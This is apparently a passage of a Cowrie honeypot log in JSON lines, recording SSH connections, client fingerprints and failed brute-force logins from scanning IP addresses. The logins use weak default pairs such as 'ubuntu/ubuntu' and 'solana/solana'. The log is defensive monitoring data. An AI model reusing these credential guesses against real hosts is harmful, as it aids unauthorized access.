com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:57.271151Z","src_ip":"92.118.39.56","session":"23f08164c8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:57.654229Z","src_ip":"92.118.39.56","session":"23f08164c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:57:58.785895Z","src_ip":"92.118.39.56","session":"23f08164c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1c38b979dc","protocol":"ssh","message":"New connection: 45.79.127.249:38610 (10.17.0.5:22) [session: 3f1c38b979dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:07.580671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:07.586209Z","src_ip":"45.79.127.249","session":"3f1c38b979dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:07.785635Z","src_ip":"45.79.127.249","session":"3f1c38b979dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arianna","password":"arianna","message":"login attempt [arianna/arianna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:08.186857Z","src_ip":"45.79.127.249","session":"3f1c38b979dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:09.387632Z","src_ip":"45.79.127.249","session":"3f1c38b979dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":48562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b71adb6327","protocol":"ssh","message":"New connection: 5.75.240.121:48562 (10.17.0.5:22) [session: a5b71adb6327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:21.289271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:21.292763Z","src_ip":"5.75.240.121","session":"a5b71adb6327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:21.381764Z","src_ip":"5.75.240.121","session":"a5b71adb6327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp2014","message":"login attempt [ftp/ftp2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:21.565456Z","src_ip":"5.75.240.121","session":"a5b71adb6327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:58:22.657717Z","src_ip":"5.75.240.121","session":"a5b71adb6327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47062,"dst_ip":"10.17.0.5","dst_port":22,"session":"df39e14e4fcc","protocol":"ssh","message":"New connection: 2.57.122.208:47062 (10.17.0.5:22) [session: df39e14e4fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:00.828762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:00.833996Z","src_ip":"2.57.122.208","session":"df39e14e4fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:00.935488Z","src_ip":"2.57.122.208","session":"df39e14e4fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:01.239372Z","src_ip":"2.57.122.208","session":"df39e14e4fcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":39228,"dst_ip":"159.203.135.109","dst_port":22,"session":"590af9cfc311","protocol":"ssh","message":"New connection: 135.181.101.111:39228 (159.203.135.109:22) [session: 590af9cfc311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:01.317611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:01.322413Z","src_ip":"135.181.101.111","session":"590af9cfc311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:01.430804Z","src_ip":"135.181.101.111","session":"590af9cfc311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edi","password":"12345","message":"login attempt [edi/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:01.708125Z","src_ip":"135.181.101.111","session":"590af9cfc311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:02.407435Z","src_ip":"2.57.122.208","session":"df39e14e4fcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:59:02.818567Z","src_ip":"135.181.101.111","session":"590af9cfc311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":47842,"dst_ip":"10.17.0.5","dst_port":22,"session":"0789200c7837","protocol":"ssh","message":"New connection: 92.118.39.56:47842 (10.17.0.5:22) [session: 0789200c7837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:09.587033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:09.592237Z","src_ip":"92.118.39.56","session":"0789200c7837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:09.697251Z","src_ip":"92.118.39.56","session":"0789200c7837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:10.050946Z","src_ip":"92.118.39.56","session":"0789200c7837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:11.162101Z","src_ip":"92.118.39.56","session":"0789200c7837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":54804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b8ad7648498","protocol":"ssh","message":"New connection: 92.118.39.76:54804 (159.203.135.109:22) [session: 5b8ad7648498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:29.258998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:29.263193Z","src_ip":"92.118.39.76","session":"5b8ad7648498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:29.367394Z","src_ip":"92.118.39.76","session":"5b8ad7648498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:29.680007Z","src_ip":"92.118.39.76","session":"5b8ad7648498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:30.786260Z","src_ip":"92.118.39.76","session":"5b8ad7648498","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:53.019419Z","src_ip":"46.151.178.13","session":"31b41fc6e22c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.22736978530884,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:00:53.032449Z","src_ip":"46.151.178.13","session":"31b41fc6e22c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51718,"dst_ip":"10.17.0.5","dst_port":22,"session":"56072de816cc","protocol":"ssh","message":"New connection: 2.57.122.208:51718 (10.17.0.5:22) [session: 56072de816cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:08.819112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:08.912209Z","src_ip":"2.57.122.208","session":"56072de816cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:09.060303Z","src_ip":"2.57.122.208","session":"56072de816cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:10.013806Z","src_ip":"2.57.122.208","session":"56072de816cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:11.241585Z","src_ip":"2.57.122.208","session":"56072de816cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37280,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fde8b62fdff","protocol":"ssh","message":"New connection: 162.120.6.20:37280 (10.17.0.5:22) [session: 2fde8b62fdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.074257Z"}
